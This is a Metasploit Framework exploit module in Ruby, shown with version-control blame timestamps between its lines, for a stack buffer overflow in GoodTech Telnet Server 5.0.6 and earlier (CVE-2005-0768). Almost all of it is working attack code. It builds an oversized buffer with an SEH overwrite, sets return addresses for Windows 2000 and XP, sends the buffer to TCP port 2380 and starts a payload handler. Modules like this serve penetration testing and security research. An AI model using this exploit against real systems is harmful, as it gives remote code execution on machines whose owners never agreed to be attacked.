2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-11-08 23:26:16 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-11-08 23:26:16 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-11-08 23:26:16 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in GoodTech Systems Telnet Server
|
|
|
|
versions prior to 5.0.7. By sending an overly long string, an attacker can
|
|
|
|
overwrite the buffer and control program execution.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'MC',
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-08 23:26:16 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-0768' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '14806'],
|
|
|
|
[ 'BID', '12815' ],
|
2006-11-08 23:26:16 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
|
|
|
|
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Mar 15 2005',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([ Opt::RPORT(2380) ], self)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit = rand_text_english(10020, payload_badchars)
|
2006-11-09 17:32:56 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
|
|
|
|
sploit[10012, seh.length] = seh
|
2006-11-08 23:26:16 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sock.put(sploit + "\r\n\r\n")
|
|
|
|
|
|
|
|
handler
|
2006-11-09 17:32:56 +00:00
|
|
|
disconnect
|
2006-11-08 23:26:16 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|